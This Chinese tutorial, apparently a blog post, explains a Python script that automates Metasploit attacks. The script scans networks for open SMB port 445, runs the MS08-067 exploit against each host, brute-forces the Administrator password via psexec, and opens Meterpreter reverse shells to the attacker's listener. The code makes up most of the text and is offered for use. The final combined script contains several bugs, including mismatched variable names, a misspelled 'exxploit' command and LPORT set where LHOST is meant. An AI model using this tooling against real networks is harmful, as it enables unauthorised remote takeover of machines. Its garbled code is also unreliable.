Python指令碼與Metasploit互動攻擊
Metasploit是一款強大的漏洞掃描和利用工具,編寫Python指令碼與Metasploit進行互動,可以自動化的掃描和利用漏洞。
相關文章:Metasploit框架的使用
在指令碼中,我們首選需要利用 nmap 模組掃描目標主機是否開放了445埠,我們寫了一個 findTarget() 函式,來掃描給定ip或者給定網段中開放了目標埠的主機,返回開放了445埠的主機列表。445埠是作為SMB檔案共享協議的埠,在這個埠上,經常爆發出各種高危的漏洞。 相關文章:檔案共享協議之139/445埠
def findTarget(Hosts): #掃描網段範圍內開放445埠的主機 nmScan=nmap.PortScanner() nmScan.scan(Hosts,'445') targets=[] for t in nmScan.all_hosts(): if nmScan[t].has_tcp(445): #如果445埠提供了協議 state=nmScan[t]['tcp'][445]['state'] #檢視445埠的狀態 if state=='open': print '[+]Found Target Host:'+t targets.append(t) return targets #返回開放445埠的主機列表
Metasploit提供了一個被稱為Meterpreter的高階動態載荷,它是一種後滲透工具。當滲透進目標主機後,Meterpreter會主動連線目標主機,並提供大量 分析和控制主機的引數。我們寫了setupHandler()函式,使用 exploit/multi/handler監聽資料,我們設定payload為 windows/x64/meterpreter/reverse_tcp 。我們還需要設定一個全域性變數DisablePayloadHandler,其作用是:我們已經新建了一個監聽器,以後所有的主機都不必重複新建監聽器。相關文章:Meterpreter之exploit/multi/handler木馬
def setupHandler(configFilee,lhost,lport): #監聽本機的埠 configFilee.write('use exploit/multi/handler\n') #使用exploit/multi/handler監聽從肉雞發來的資料 configFilee.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n') #設定載荷、IP和埠 configFilee.write('set LHOST '+lhost+'\n') configFilee.write('set LPORT '+str(lport)+'\n') configFilee.write('set ExitOnSession false\n') #為了在單個處理程式上獲得多個會話,需要將ExitOnSession選項設定為false configFilee.write('exploit -j -z\n') #-j選項是將所有連線的會話保持在後臺 -z不與任務進行即時交換 configFilee.write('set DisablePayloadHandler 1\n') #不重新新建監聽器
當指令碼能夠在目標主機上執行漏洞利用程式碼時,配置函式將向Metasploit rc 指令碼中寫入用於生成漏洞利用程式碼的目標主機、本地地址和埠。該函式還將把使用哪個漏洞利用程式碼的指令也寫入rc指令碼檔案中,這裡我們使用 MS_08067_netapi漏洞。此外,該函式還需要設定Payload、Lport。最後,該指令碼傳送一條指令在同一個任務(job)的上下文環境中( -j ),不與任務進行即時互動的條件下 ( -z ) 利用對目標計算機上的漏洞
def confickerExploit(configFile,target,lhost,lport): #漏洞利用
configFile.write('use exploit/windows/smb/ms08_067_netapi\n') #漏洞利用程式碼
configFile.write('set RHOST '+str(target)+'\n') #設定引數
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT'+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')
儘管如此我們已經可以成功的在被黑的主機上執行漏洞利用程式碼,但一旦目標主機安裝了最新的安全補丁便可以阻止該程式碼被執行,因此我們的指令碼還需要另一種攻擊方式,如暴力破解SMB使用者名稱和密碼,以此獲取在目標主機上遠端執行一個程序的許可權。輸入smbBrute() 函式的引數有:Metasploit 指令碼檔案、目標主機、包含密碼列表的另一個檔案、本地地址、埠。使用者名稱預設為windows管理員Administrator,開啟密碼列表檔案,對於每一個密碼,都會生成一個用來遠端執行程序的Metasploit指令碼,如果密碼正確則遠端執行程序的程式碼就會執行一個shell到攻擊者本地地址對應的埠。
def smbBrute(configFile,target,passwdFile,lhost,lport):
username='Administrator'
pF=open(passwordFile,'r')
for password in pF.readlines():
password=password.strip('\n')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+str(username)+'\n')
configFile.write('set SMBPass '+str(password)+'\n')
configFile.write('set RHOST '+str(target)+'\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')
最後,對上面所有的程式碼進行整合。
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 16:11:33 2018
@author: 小謝
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts): #掃描網段範圍內開放445埠的主機
nmScan=nmap.PortScanner()
nmScan.scan(Hosts,'445')
targets=[]
for t in nmScan.all_hosts():
if nmScan[t].has_tcp(445): #如果445埠提供了協議
state=nmScan[t]['tcp'][445]['state'] #檢視445埠的狀態
if state=='open':
print '[+]Found Target Host:'+t
targets.append(t)
return targets #返回開放445埠的主機列表
def setupHandler(configFile,lhost,lport): #監聽被攻擊的主機
configFilee.write('use exploit/multi/handler\n') #使用該預設釋出命令
configFilee.write('set PAYLOAD windows/meterpreter/reverse_tcp\m') #設定載荷、IP和埠
configFilee.write('set LPORT '+str(lport)+'\n')
configFilee.write('set LPORT '+lhost+'\n')
configFilee.write('exploit -j -z\n')
configFilee.write('setg DisablePayloadHandler 1\n') #不重新
def confickerExploit(configFile,target,lhost,lport): #漏洞利用
configFile.write('use exploit/windows/smb/ms08_067_netapi\n') #漏洞利用程式碼
configFile.write('set RHOST '+str(target)+'\n') #設定引數
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT'+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exxploit -j -z\n')
def smbBrute(configFile,target,passwdFile,lhost,lport): #暴力破解SMB口令
username='Administrator'
pF=open(passwordFile,'r')
for password in pF.readlines():
password=password.strip('\n')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+str(username)+'\n')
configFile.write('set SMBPass '+str(password)+'\n')
configFile.write('set RHOST '+str(target)+'\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')
def main():
configFile=open('meta.rc','w')
usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> [-p/-P <LPORT> -F/-f <password File>]'
parser=optparse.OptionParser(usage)
parser.add_option('-H',dest='target',type='string',help='target host')
parser.add_option('-p','-P',dest='lport',type='string',help='listen port')
parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')
parser.add_option('-F','-f',dest='passwdFile',type='string',help='password file')
(options,args)=parser.parse_args()
if (options.target==None)|(options.lhost==None):
print parser.usage
exit(0)
if lport==None:
lport=='2333'
passwdFile=options.passwdFile
targets=findTarget(options.target) #尋找目標
setupHandler(configFile,lhost,lport)
for target in targets: #逐個攻擊
confickerExploit(configFile,target,lhost,lport)
if passwdFile!=None:
smbBrute(configFile,target,passwdFile,lhost,lport)
configFile.close()
os.system('msfconsole -r meta.rc') #啟動metasploit並讀取配置檔案
if __name__=='__main__':
main()